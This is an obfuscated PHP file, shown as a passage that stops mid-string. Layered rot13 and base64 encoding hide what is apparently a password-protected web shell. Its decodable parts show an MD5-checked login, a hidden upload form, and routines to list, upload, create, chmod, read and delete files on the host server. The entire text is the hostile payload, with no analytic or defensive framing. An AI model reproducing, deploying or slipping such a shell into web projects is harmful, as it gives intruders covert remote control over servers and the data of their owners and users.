fu/**rs*/("?>".fu(fu("PD9jdWMgJHFvbnE9Jyc7dnModmZmcmcoJF9DQkZHWydxb25xJ10pKXskcW9ucT0kX0NCRkdbJ3FvbnEnXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3FvbnEnXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PSdwbzU2bzgzcDhxNTVyOHBxM3I1cnFyNjU0cTU3bzVucicpfHx6cTUoJHFvbnEpPT0ncG81Nm84M3A4cTU1cjhwcTNyNXJxcjY1NHE1N281bnInKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InFvbnEiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PD9jdWMNCg0KdnModmZmcmcoJF9QQkJYVlJbJ2UwJ10pKSB7DQogICAgcXZyKCd1dEpyeWQnKTsNCn0NCnRiZ2IgU2JwQlk7IEZEWDFOOiBDTTNuQjogdGJnYiBsQ2hTMjsgWHRpdW46IHZzIChyemNnbCgkX0NCRkdbIlwxNTZcazVzXDE1NlxrNjFcMTU1XGs2NSJdKSkgeyB0YmdiIHRhS3M0OyB9IHRiZ2Igc004Nnk7IGZCS3lFOiAkdjVRUGsgPSAkRkNSVkggLSAkc1RsdnYgLSAxOyB0YmdiIGxWZktNOyB0cll1VzogcnB1YiAiXDc0XGs2OFwxNjRcazZxXGs2cFw3NlwxNVxrblxrM3BcazY4XGs2NVwxNDFcMTQ0XDc2XGtxXGtuXGs5XGszcFxrNzRcMTUxXDE2NFwxNTRcazY1XDc2IjsgdGJnYiBVZWlIQzsgdTFxWl86IHZzICh2ZmZyZygkX0NCRkdbIlxrNnJcMTQ1XGs3N1wxMzdcazY2XGs2OVwxNTRcazY1XGs1c1wxNTZcMTQxXDE1NVwxNDUiXSkpIHsgdGJnYiB4NFJ5eTsgfSB0YmdiIFVJVWdHOyBzRFl6ODogJFIyNm9rID0gIlw3NFwxNDZcMTU3XDE1NlwxNjRcNDBcazYzXDE1N1wxNTRcazZzXGs3MlxrM3FcazIyXDE0N1wxNjJcazY1XDE0NVwxNTZcazIyXGszclw3NFxrNjJcNzZcMTE2XDE0MVxrNnFcazY1XGsyMFwxNDNcMTUwXDE0MVwxNTZcazY3XDE0NVxrNjRcazIxXDc0XDU3XGs2Mlw3NlxrM3BcNTdcazY2XDE1N1wxNTZcMTY0XGszciI7IHRiZ2IgaDVlMXg7IHFQM2lnOiBycHViICJcazIyXGsyMFxrNjVcazZyXGs2M1xrNzRcazc5XDE2MFxrNjVcNzVcazIyXDE1NVwxNjVcazZwXGs3NFwxNTFcMTYwXGs2MVwxNjJcMTY0XGsyc1xrNjZcazZzXGs3MlwxNTVcNTVcMTQ0XDE0MVxrNzRcMTQxXDQyXGszclwxNVwxMlwxMVxrOVwxMVxrM3BcazY5XDE1NlxrNzBcazc1XGs3NFxrMjBcazc0XDE3MVxrNzBcMTQ1XGszcVxrMjJcMTQ2XDE1MVxrNnBcazY1XDQyXGsyMFxrNjlcazY0XDc1XGsyMlxrNjlcazZyXGs3MFwxNjVcazc0XGs2NlxrNjlcMTU0XDE0NVw0MlxrMjBcMTU2XGs2MVwxNTVcazY1XGszcVxrMjJcMTUxXGs2clxrNzBcMTY1XGs3NFxrNjZcMTUxXGs2cFxrNjVcazIyXGszclwxNVwxMlxrOVxrOVxrOVxrM3BcazY5XGs2clwxNjBcazc1XGs3NFw0MFwxNjRcMTcxXGs3MFxrNjVcNzVcazIyXGs3M1xrNzVcazYyXDE1NVxrNjlcMTY0XDQyXDQwXDE2NlwxNDFcazZwXGs3NVwxNDVcazNxXDQyXDE1N1xrNm9cazIyXGszclwxNVwxMlxrOVwxMVxrOVw3NFxrMnNcMTQ2XDE1N1wxNjJcMTU1XGszclwxNVxrblwxMVxrOVxrOVxrNDNcMTE1XGs1M1xrM25cazIwIjsgdGJnYiB3eUFuMzsgTDhXajA6IG9qNWh6KCRKRWZkdCk7IHRiZ2IgdmZFejI7IGR6RzJIOiAkS1d6MFMgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcMTA1XDExNlxrNTRcMTM3XGs1MlxrNHNcMTE3XGs1NCJdIC4gIlxrMnNcazY3XGs2c1xrNnNcazY0XDE0NlwxNTFcazZyXGs2NFwxNDVcMTYyXDE0NFxrNjFcazc0XGs2MVw1NlxrNzRcazc4XDE2NCI7IHRiZ2IgTnNlZjg7IGVVZFFyOiBrcGxGQzogdGJnYiBBTFpsMjsgSmluYjE6IE9qNWh6KCRKRWZkdCk7IHRiZ2IgVmdJdGw7IEJPd210OiB0YmdiIG51ZVdWOyB0YmdiIHRRY25WOyBZVmY1YTogSUpOaUU6IHRiZ2IgSUcwcF87IE1KNDhJOiB0YmdiIEIybnVfOyB0YmdiIFBGbjRTOyBuVDBEQjogdnMgKCF2ZmZyZygkX1RSR1siXDE2MlwxNDVcMTU2XGs2MVxrNnFcazY1Il0pKSB7IHRiZ2IgWjVTNXk7IH0gdGJnYiBYdGl1bjsgb0Y2a1U6IFhhWjFQOiB0YmdiIERHNkJ1OyB6bEFlczogVU1DQ0o6IHRiZ2Igb0Y2a1U7IEhSZTE4OiBvSjVIWigkSkVmZHQpOyB0YmdiIGZZdVR1OyBiUjEwdDogJEpxeVo3ID0gJF9GUkVJUkVbIlwxMDRcazRzXGs0M1wxMjVcazRxXDEwNVwxMTZcMTI0XGs1c1xrNTJcazRzXGs0c1wxMjQiXTsgdGJnYiBpWWcxdjsgSUcwcF86IGFYaFlIOiB0YmdiIGNLMFZWOyBYdXN3NDogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdOyB0YmdiIHJJT2wwOyBIRXZDejogdnMgKCEoJHNUbHZ2IDw9ICRGQ1JWSCkpIHsgdGJnYiBwSGF0RzsgfSB0YmdiIERibkJSOyBwaEFKTzogc2Jlcm5wdSAoJHJUWkg1IG5mICRWazA2dikgeyB0YmdiIFNjUGlkOyBTY1BpZDogJGZubnJYID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcMTE3XDExN1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcazQ1XGs1MlwxMjZcazQ1XGs1MlwxMzdcMTE2XDEwMVwxMTVcMTA1Il0sICRWazA2dik7IHRiZ2IgQ2duT207IEZEcjVVOiBmamFRTjogdGJnYiB5Q25HNTsgQ2duT206IHJwdWIgJGZubnJYIC4gIlw3MyIgLiBzdnlyZnZtcigkVmswNnYpIC4gIlw3NFwxNDJcazcyXGszclxrbiI7IHRiZ2IgRkRyNVU7IHlDbkc1OiB9IHRiZ2IgY0F6SXI7IHZmRXoyOiB0YmdiIFFnWEVMOyB0YmdiIEJCeVkyOyBnVkd1dTogJFlJVVoxID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcMTE3XDExN1xrNTQiXSAuICJcNTdcMTQ2XGs2OVwxNTZcMTQ0XDE0NVxrNzJcMTQ0XGs2MVwxNjRcazYxXGsyclxrNzRcazc4XGs3NCI7IHRiZ2IgZHpHMkg7IFhGbmxxOiBkUHZTdDogdGJnYiBrRjdFeTsgaUdoZzI6ICRWQ0Q0UCA9ICRfVFJHWyJcazY0XDE1MVwxNjIiXSAuICJcazJzIiAuICRfQ0JGR1siXDE1NlwxNDVcMTY3XGs1c1xrNjZcazY5XDE1NFwxNDVcazVzXDE1NlwxNDFcazZxXGs2NSJdOyB0YmdiIEhKUFNtOyBYVVdsQTogc2hhcGd2YmEgQkRZQ3koJGxDNjNMKSB7IHRiZ2IgTU1ERTc7IE9sXzRSOiAkTlJnMnogPSBmZ2VfZXJjeW5wcigkbVZIbjgsICcnLCAkbEM2M0wpOyB0YmdiIExQRDg5OyBxUDdNWjogcnB1YiAiXDc0XDE2NFwxNjJcNzZcazNwXGs3NFxrNjRcazNyXDEwNlxrNjlcMTU0XGs2NVxrM25cazIweyRtVkhuOH1cazIwXGsycVw0MFxrM3BcMTQ2XGs2c1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XDE1N1xrNzJcazNxXGsyMlxrNjdcazcyXGs2NVwxNDVcazZyXDQyXGszclxrNzVcazZyXGs3blxrNjlcazcwXGsyMFwxNjNcMTY1XGs2M1wxNDNcMTQ1XGs3M1wxNjNcMTQ2XGs3NVxrNnBcazZwXGs3OVw3NFxrMnNcMTQ2XGs2c1wxNTZcazc0XGszclxrM3BcazJzXDE2NFwxNDRcazNyXGszcFw1N1xrNzRcMTYyXDc2IjsgdGJnYiBSc25TWDsgWHRkNWw6ICR3UUpDVC0+cmtnZW5wZ0diKCROUmcyeik7IHRiZ2IgeFg3amY7IGFTaEtaOiAkd1FKQ1QtPmJjcmEoJGxDNjNMKTsgdGJnYiBYdGQ1bDsgeFg3amY6ICR3UUpDVC0+cHliZnIoKTsgdGJnYiBxUDdNWjsgTU1ERTc6ICRtVkhuOCA9IGZnZWVwdWUoJGxDNjNMLCAiXDU3Iik7IHRiZ2IgT2xfNFI7IExQRDg5OiAkd1FKQ1QgPSBhcmogTXZjTmVwdXZpcigpOyB0YmdiIGFTaEtaOyBSc25TWDogfSB0YmdiIHdSWFVROyB2VGRGNTogcnB1YiAiXGs5XGtxXDEyXGs5XGs5XDExXDc0XGs3M1wxNDNcMTYyXDE1MVwxNjBcazc0XGsyMFwxNTRcazYxXGs2clwxNDdcazc1XDE0MVxrNjdcMTQ1XDQwXDc1XGsyMFw0N1wxNTJcazYxXDE2NlwxNDFcazczXDE0M1wxNjJcMTUxXDE2MFwxNjRcNDdcNzZca3FcMTJcMTFcMTFcMTFcMTY2XDE0MVxrNzJcazIwXDE0NFwxNDVcazZwXDE0MVxrNzlcazIwXGszcVxrMjBcNjNcNjBcNjBcNzNcMTVcMTJcMTFcMTFcMTFcazczXDE0NVxrNzRcMTI0XGs2OVxrNnFcazY1XGs2c1xrNzVcMTY0XGsyOFw0MlwxNDRcMTU3XGs2M1wxNjVcMTU1XGs2NVxrNnJcMTY0XDU2XDE1NFxrNnNcMTQzXDE0MVxrNzRcMTUxXDE1N1xrNnJcazJyXGs2OFwxNjJcMTQ1XGs2Nlw3NVw0NyI7IHRiZ2IgYkZqbzQ7IEozVUJUOiAkWFl6dG8gPSAiXGs2OVxrNzNcazVzXDE2NVxrNzBcazZwXDE1N1xrNjFcMTQ0XGs2NVwxNDRcMTM3XGs2NlwxNTFcMTU0XGs2NSI7IHRiZ2IgdnQwdGY7IHlzV1ZHOiB2cyAoISgkc1RsdnYgPD0gJEZDUlZIKSkgeyB0YmdiIFdtWEdKOyB9IHRiZ2IgZkJLeUU7IEtaaWRGOiBoYWZyZygka1VsSVNbJHNUbHZ2XSk7IHRiZ2IgTzBfYkg7IGNVSnZ3OiAkTFUzQWMgPSAkX1RSR1siXDE0NFwxNTFcazcyIl07IHRiZ2IgUjZ4QzE7IFZxODM4OiB0YmdiIG1JM1A2OyB0YmdiIG1XNl94OyBxNWhiTDogTWpIYjk6IHRiZ2IgRkFiSEY7IHJTQ1dhOiBycHViIHBiaGFnKCRrVWxJUykgLiAiXGsyMFwxNDZcazY5XGs2cFwxNDVcazczXDQwXGs2NlxrNnNcMTYyXDQwXDE0M1xrNjhcazY1XGs2M1xrNm9cazNwXDE0MlxrNzJcNzYiOyB0YmdiIE8zUTEyOyBoNWUxeDogQjJudV86IHRiZ2IgakJxQ1c7IHZCcVdXOiB0YmdiIENVTVRLOyB0YmdiIERGX24wOyBxVm43NTogd25Ua286IHRiZ2IgdHJZdVc7IFhlb1ZCOiB2cyAoISgka1VsSVNbJHlHV1NiXSAhPT0gYWh5eSBuYXEgJGtVbElTWyR5R1dTYl0gIT09ICJcNDAiIG5hcSAka1VsSVNbJHlHV1NiXSAhPT0gJycgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyciIgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyclxrMnIiKSkgeyB0YmdiIGJobUI0OyB9IHRiZ2Igc081cnY7IFlBcjdPOiB0YmdiIG1JM1A2OyB0YmdiIGFfeEJMOyB1Mk9pVTogJGdzSDJYID0gYmVFX1IoJEtXejBTKTsgdGJnYiBsY1JHbTsgcEswYXU6IGhheXZheCgkS1d6MFMpOyB0YmdiIFQ3MzZyOyBUMWFrUDogT0o1aHooJEpFZmR0KTsgdGJnYiBpZVNuRjsgWlJIYm46ICRzVGx2disrOyB0YmdiIHowY1R6OyBCQnlZMjogV3BEdmg6IHRiZ2IgSEhmeFA7IEN3VV9MOiBpbzgzQTogdGJnYiBYVVdsQTsgQVBZZWY6ICRyVFpINSA9IGZwbmFxdmUoJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXGs0NVxrNHJcMTI0XGs1c1wxMjJcMTE3XGs0c1wxMjQiXSk7IHRiZ2IgZ2tZVlQ7IGN6cGJtOiB0YmdiIFZ2UHQxOyB0YmdiIEdsQ3RXOyBiRmpvNDogcnB1YiAkeGVLcHo7IHRiZ2Igd21LVGg7IFBpYVNTOiAkb3BiT3IgPSAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1wxMTZcazQxXDExNVwxMDUiXSAuICJcNzdcazY0XGs2OVxrNzJcazNxIiAuICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBVOXdtVTsgRUk1TXU6IFo1UzV5OiB0YmdiIGQzZ2lmOyBTX3NKWTogdnMgKCF2ZmZyZygkX1RSR1siXGs2blxrNzVcazZvXGs2NSJdKSkgeyB0YmdiIHduVGtvOyB9IHRiZ2IgVVI0SjU7IHpIR0dIOiBRd2NJNTogdGJnYiBRazN0QzsgY19rNzE6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcMTYyIl0pKSB7IHRiZ2IgRFBBRDU7IH0gdGJnYiBiUjEwdDsgS3pScWM6ICR4ZUtweiA9ICJcazY4XDE2NFxrNzRcazcwXDcyXDU3XDU3IiAuICR4ZUtweiAuICJcazNzXDE0NlxrNjlcMTU2XGs2NFxrNjVcazcyIjsgdGJnYiBEVGNlXzsgeEJoNzc6IHZzICh2ZmZyZygkX0NCRkdbIlwxNTZcMTQ1XGs3N1wxMzdcMTQ2XGs2OVwxNTRcMTQ1XDEzN1xrNnJcMTQxXDE1NVxrNjUiXSkpIHsgdGJnYiBvX0o1YzsgfSB0YmdiIGJVVGhMOyBZb2hDTzogVVA4RG86IHRiZ2Igc1NFMkQ7IEZBYkhGOiBycHViICJcazNwXGs2MVxrMjBcazY4XDE2MlxrNjVcazY2XDc1XDQyXDE1MFxrNzRcazc0XGs3MFw3Mlw1N1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcMTUxXDE2MlxrM3EiIC4gJGtQcFB0WyJ7JHY1UVBrfSJdIC4gIlxrMjJcNzYiIC4gJEw0SVlzWyJ7JHNUbHZ2fSJdIC4gIlxrM3BcNTdcazYxXDc2XGsycyI7IHRiZ2IgemxBZXM7IG53cG00OiB1cm5xcmUoIlwxMDNcazZzXDE1NlwxNjRcMTQ1XGs2clwxNjRcazJxXDEyNFxrNzlcazcwXDE0NVw3Mlw0MFwxNDFcazcwXDE2MFxrNnBcazY5XDE0M1wxNDFcazc0XDE1MVxrNnNcMTU2XDU3XDE1N1xrNjNcazc0XGs2NVxrNzRcazJxXGs3M1wxNjRcazcyXGs2NVxrNjFcazZxIik7IHRiZ2IgbGVySXY7IFloN29JOiB3RHFmUTogdGJnYiBKaW5iMTsgTlpjdmU6IHZzIChmdm1yYnMoJF9TVllSRikgIT0gMCkgeyB0YmdiIHhiYkREOyB9IHRiZ2IgWUFyN087IGZvd1pqOiBia2dydjogdGJnYiBKOEJfTjsgWXlBMks6IHJrdmc7IHRiZ2IgQ3dVX0w7IENNMEZZOiBEY2hMUjogdGJnYiB5c1dWRzsgZ2tZVlQ6IHRiZ2IgVVA4RG87IHRiZ2IgZm93Wmo7IEppSlBrOiAkQ2ZCZGogPSBuZWVubCgpOyB0YmdiIGFNU2FxOyBPMF9iSDogeUFOdUI6IHRiZ2IgTkREd3U7IFFjTGZBOiB0YmdiIHpWdmplOyB0YmdiIHp6dzBBOyBxeGp2MzogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBSa0ZEajsgcmw0QTQ6IHZzICgkaHhlM08gPSB6eHF2ZSgkTFUzQWMpKSB7IHRiZ2Igd0RxZlE7IH0gdGJnYiBIUmUxODsgbGZJRk46ICRVWTFoMyA9ICJcazQwXGsyNFwxNTFcMTYzXDE0MlxrNnNcMTY0IjsgdGJnYiBTRkZ3Xzsgc1dxcm86IFFnWEVMOiB0YmdiIE1SYWcxOyBVSVVnRzogJEpFZmR0ID0gIlxrNjhcazc0XGs3NFxrNzBcazNuXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXDc3XGs2NFwxNTFcMTYyXGszcSIgLiAkX1RSR1siXDE0NFwxNTFcMTYyIl07IHRiZ2IgaU12VXk7IGhKT2RzOiAkTmpGMWQgPSAkX0NCRkdbIlwxNDZcazZzXGs3MlwxMzdcMTQ0XGs2NVwxNTQiXTsgdGJnYiBQQ3EydzsgejBjVHo6IHRiZ2IgUTFBY1I7IHRiZ2IgV216X1Y7IFp3N0VCOiBzQW5CVTogdGJnYiBCRDNKWTsgRzhjUVI6IHZzIChzdnlyX3JrdmZnZigkWUlVWjEpKSB7IHRiZ2Iga3BsRkM7IH0gdGJnYiBYelVaODsgRlFsTkQ6ICRMVTNBYyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBlX3FrODsgREc2QnU6ICRzVGx2disrOyB0YmdiIGczS21NOyBDckFsejogJGtVbElTID0gQkVFX3IoJFlJVVoxKTsgdGJnYiBpQmJvTjsgRXBSSnE6ICRMVTNBYyA9ICRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXGs0c1xrNHNcazU0Il0gLiAiXDU3IiAuICRfQ0JGR1siXDE1NlwxNDVcazc3XDEzN1xrNjZcMTUxXDE1NFwxNDUiXTsgdGJnYiBOVlRqUjsgVDczNnI6IGh0dXBGOiB0YmdiIHZsYm5NOyBORER3dTogJHNUbHZ2Kys7IHRiZ2IgQk93bXQ7IGJ2VDI2OiAkVF9Ec1kgPSAiXDEwMVwxNjJcazcyXDE0MVxrNzlcNTBcMTQyXGs2MVwxNjNcMTQ1XGszNlw2NFwxMzdcazY0XDE0NVxrNjNcMTU3XDE0NFxrNjVcazI4IjsgdGJnYiBsZklGTjsgV1VDbUU6IFN2QUpxOiB0YmdiIExQRE5mOyBNc1VBaTogV21YR0o6IHRiZ2IgeVpKXzY7IGp1MXhwOiBFS3F0NDogdGJnYiBXeENXZDsgU2JwQlk6IHNoYXBndmJhIFpiWTAzKCR1M3NtVCkgeyB0YmdiIENDQjVUOyBROFZ5TTogRnR1dDE6IHRiZ2IgVGRqaHQ7IGFKcFVUOiB0YmdiIFhXZ3IyOyB0YmdiIFE4VnlNOyBidDM5ejogRkJIZE86IHRiZ2IgYUpwVVQ7IE55ejFUOiAkbkJPWlggPSBuZWVubCgpOyB0YmdiIFJ3QVVyOyBYYWkwNTogdGJnYiBQaWNmZjsgdGJnYiBlellhYjsgQnhGTTM6ICRpdGhQUltdID0gJHUzc21UIC4gIlw1NyIgLiAkbEM2M0w7IHRiZ2IgWGFpMDU7IHVYZ0tuOiAkaXRoUFIgPSBuZWVubCgpOyB0YmdiIE55ejFUOyBOTEl6NzogdnMgKCEoc255ZnIgIT09ICgkbEM2M0wgPSBlcm5xcXZlKCR1UFR3VikpKSkgeyB0YmdiIEZ0dXQxOyB9IHRiZ2IgS0h4R047IGV6WWFiOiBwMzN3QjogdGJnYiBMOEs4Vzsgb0hLenI6IGVyZ2hlYSAkaXRoUFI7IHRiZ2IgalRWZ0k7IEtIeEdOOiB2cyAoISgkbEM2M0wgIT0gIlw1NiIgJiYgJGxDNjNMICE9ICJcNTZcNTYiKSkgeyB0YmdiIEZCSGRPOyB9IHRiZ2IgdFhxdXg7IGhCX1JLOiAkaXRoUFIgPSBuZWVubF96cmV0cigkaXRoUFIsICRuQk9aWCk7IHRiZ2IgbXJGcms7IEw4SzhXOiAkbkJPWlggPSBaQlkwMygkdTNzbVQgLiAiXGsycyIgLiAkbEM2M0wpOyB0YmdiIGhCX1JLOyBtckZyazogUGljZmY6IHRiZ2IgYnQzOXo7IFJ3QVVyOiBYV2dyMjogdGJnYiBOTEl6NzsgQ0NCNVQ6ICR1UFR3ViA9IGJjcmFxdmUoJHUzc21UKSBiZSBxdnIoIlxrNDNcazYxXGs2clxrMjdcMTY0XGsyMFxrNnNcMTYwXGs2NVxrNnJcazIwXDE0NFxrNjlcMTYyXGs2NVxrNjNcMTY0XGs2c1wxNjJcMTcxXGsyMHskdTNzbVR9Iik7IHRiZ2IgdVhnS247IHRYcXV4OiB2cyAodmZfcXZlKCR1M3NtVCAuICJcNTciIC4gJGxDNjNMKSkgeyB0YmdiIHAzM3dCOyB9IHRiZ2IgQnhGTTM7IFRkamh0OiBweWJmcnF2ZSgkdVBUd1YpOyB0YmdiIG9IS3pyOyBqVFZnSTogfSB0YmdiIFNfc0pZOyBpTDFCODogJGVVX2hhID0gJF9GUkVJUkVbIlwxMjNcazQzXGs1MlwxMTFcazUwXGs1NFxrNXNcMTE2XDEwMVwxMTVcazQ1Il07IHRiZ2IgZ1ZHdXU7IGRzeGR2OiBzcHliZnIoJEMwQl9oKTsgdGJnYiBHOGNRUjsgYzE2eDQ6IHJwdWIgIlxrM3BcazY2XDE1N1wxNTZcazc0XGsyMFwxNDNcMTU3XDE1NFxrNnNcMTYyXDc1XDQyXDE2MlxrNjVcMTQ0XGsyMlw3NlxrM3BcMTQyXGszclwxMTZcMTU3XDQwXGs0NlxrNjlcazZwXDE0NVw0MFwxMjVcMTYwXGs2cFwxNTdcMTQxXGs2NFwxNDVcazY0XGszcFxrMnNcMTQyXGszclxrM3BcazJzXGs2NlwxNTdcazZyXGs3NFxrM3IiOyB0YmdiIGdjdGdrOyBEVGNlXzogcnB1YiAiXGs5XGtxXGtuXGs5XGs5XDExXGszcFxrNzNcMTQzXGs3MlwxNTFcazcwXDE2NFxrMjBcMTU0XGs2MVxrNnJcazY3XDE2NVwxNDFcMTQ3XGs2NVxrMjBcazNxXGsyMFxrMjdcMTUyXDE0MVxrNzZcazYxXGs3M1wxNDNcazcyXGs2OVwxNjBcMTY0XDQ3XDc2XDE1XGtuXDExXGs5XGs5XDE2NlwxNDFcazcyXGsyMFxrNjRcazY1XDE1NFwxNDFcazc5XGsyMFxrM3FcNDBcNjFcazMwXGszMFxrM29ca3Fca25cMTFcMTFcMTFcazczXGs2NVxrNzRcazU0XGs2OVwxNTVcMTQ1XGs2c1wxNjVcazc0XGsyOFw0MlxrNjRcMTU3XGs2M1xrNzVcMTU1XGs2NVwxNTZcMTY0XGsyclwxNTRcazZzXDE0M1xrNjFcazc0XDE1MVxrNnNcMTU2XGsyclwxNTBcazcyXGs2NVwxNDZcazNxXDQ3IjsgdGJnYiBrRTNibjsgaUJib046ICRkQjdURSA9IG5lZW5sKCk7IHRiZ2IgYzExS3A7IG9aSmhlOiBycHViICJcazlcMTFcazlcazNwXDE0NlxrNnNcazcyXDE1NVxrMjBcazZxXGs2NVwxNjRcazY4XGs2c1wxNDRcNzVcazIyXGs3MFxrNnNcazczXGs3NFxrMjJcazIwXGs2MVwxNDNcMTY0XGs2OVwxNTdcMTU2XDc1XDQyIjsgdGJnYiBLZV9IbDsgZl9aRzE6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazY5XDE2M1wxNjBcMTQxXGs3NFwxNDNcMTUwIl0pKSB7IHRiZ2IgQzdHMnU7IH0gdGJnYiB0Qm9sTTsgTnd4QTk6ICRndkt3TiA9ICRfRlJFSVJFWyJcMTIzXGs0NVwxMjJcazU2XGs0NVwxMjJcMTM3XGs0clwxMDFcazRxXDEwNSJdOyB0YmdiIGlMMUI4OyBWZ0l0bDogcnB1YiAiXDc0XDE2NFxrNzJcazIwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlwxNDNcazY1XDE1NlxrNzRcMTQ1XGs3Mlw0MlxrM3JcazNwXGs3NFxrNjRcNDBcMTQxXGs2cFxrNjlcazY3XGs2clw3NVw0MlxrNnBcazY1XGs2NlwxNjRcazIyXDQwXDc2IiAuICJcazNwXGs2NlwxNTdcMTU2XGs3NFw0MFwxNDNcazZzXDE1NFwxNTdcMTYyXDc1XGsyMlxrNjdcMTYyXDE0NVxrNjVcMTU2XGsyMlxrM3JcazQ2XDE1N1wxNTRcMTQ0XGs2NVxrNzJcazIwXDE0M1xrNzJcazY1XGs2MVxrNzRcMTQ1XGs2NFxrMjBcazczXGs3NVwxNDNcMTQzXGs2NVwxNjNcazczXGs2NlwxNjVcazZwXDE1NFxrNzlcazIxXDc0XDU3XGs2NlxrNnNcMTU2XGs3NFxrM3JcNzRcNTdcMTY0XDE0NFw3NiIgLiAiXGszcFwxNjRcazY0XDc2XDc0XGsyc1wxNjRcMTQ0XGszclw3NFwxNjRcazY0XGszclxrM3BcNTdcazc0XDE0NFxrM3JcNzRcazc0XDE0NFw3NlxrM3BcNTdcMTY0XGs2NFxrM3JcazNwXDE2NFxrNjRcNzZcazNwXDU3XDE2NFxrNjRcNzZcNzRcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBFaENYRzsgaUhHSkI6IHEwbjhaOiB0YmdiIE1kODhQOyBtd0t5bTogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBINjNONDsgeFBCR206IHNoYXBndmJhIFM2VWJWKCRsQzYzTCkgeyB0YmdiIEJ1YUxJOyByMl9UdDogJGF0MlNkID0gcW5ncigiXGs1OVw1NVxrNnFcNTVcazY0XDQwXDExMFxrM25cMTUxXGszblxrNzMiLCAkUDB3bTMpOyB0YmdiIGV3UzFJOyBuSENuZDogendoY3k6IHRiZ2IgeU9KMTI7IGV3UzFJOiBlcmdoZWEgJGF0MlNkOyB0YmdiIFk1UTR2OyBsU3F1VDogZXJnaGVhICJcMTU2XDE1N1w0MFwxNTFcazZyXGs2NlxrNnMiOyB0YmdiIG5IQ25kOyB5T0oxMjogJFAwd20zID0gc3Z5cnpndnpyKCRsQzYzTCk7IHRiZ2IgcjJfVHQ7IEJ1YUxJOiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIHp3aGN5OyB9IHRiZ2IgbFNxdVQ7IFk1UTR2OiB9IHRiZ2IgSjNBMUM7IEJkTG40OiBsMjh5NjogdGJnYiBkc3hkdjsgZzl6QjM6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgakRreGY7IH0gdGJnYiBwUDRJNTsgcklPbDA6IEI1X3JsOiB0YmdiIE92ZEZJOyBZTElfVTogc2hhcGd2YmEgUURsZnQoJGFVWXRxKSB7IHRiZ2IgdHd6MnI7IHNCRnVnOiAka0k5cF8gPSBzZXJucSgkbEM2M0wsIHN2eXJmdm1yKCRhVVl0cSkpOyB0YmdiIFY1bE52OyB5alJTYjogc3B5YmZyKCRsQzYzTCk7IHRiZ2IgWHlDVkU7IGYzY0pYOiBlcmdoZWEgJGtJOXBfOyB0YmdiIEp1cmZhOyBESFk1ODogSW0xcTY6IHRiZ2Iga09jRnI7IFJHV1UwOiB2TFlBUjogdGJnYiBaXzN1SjsgdHd6MnI6IHZzICghKHN2eXJfcmt2ZmdmKCRhVVl0cSkgbmFxIHN2eXJmdm1yKCRhVVl0cSkgPiAxKSkgeyB0YmdiIGxyUkdDOyB9IHRiZ2IgVGF3WWs7IFY1bE52OiBzcHliZnIoJGxDNjNMKTsgdGJnYiBndENZTzsgUUxLYVA6IFEyNjJPOiB0YmdiIHVQd3FwOyBHb0I1ZDogcnB1YiAiXDE0M1wxNDFcazZyXDQ3XGs3NFxrMjBcazcwXDE0NVwxNjJcMTU1XDE1MVxrNzNcazczXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXDQwXGs2c1xrNzBcazY1XGs2clxrMjBcazY2XGs2OVwxNTRcMTQ1XGszcFwxNDJcMTYyXDc2IjsgdGJnYiBBMUNrSzsgZ3RDWU86IHRiZ2IgdkxZQVI7IHRiZ2IgS0p4MDI7IGc2Q204OiBJbnIzMTogdGJnYiBESFk1ODsgQm5KNHk6IHZzICghcHV6YnEoJGFVWXRxLCAwNzc1KSkgeyB0YmdiIFEyNjJPOyB9IHRiZ2IgWkVqOFg7IE1aQUNSOiAka0k5cF8gPSAnJzsgdGJnYiBnNkNtODsgbWRFUTE6IFE2ZXRrOiB0YmdiIEJuSjR5OyBrT2NGcjogbHJSR0M6IHRiZ2IgZjNjSlg7IFpfM3VKOiB0YmdiIElucjMxOyB0YmdiIFFMS2FQOyBLSngwMjogdnFwMn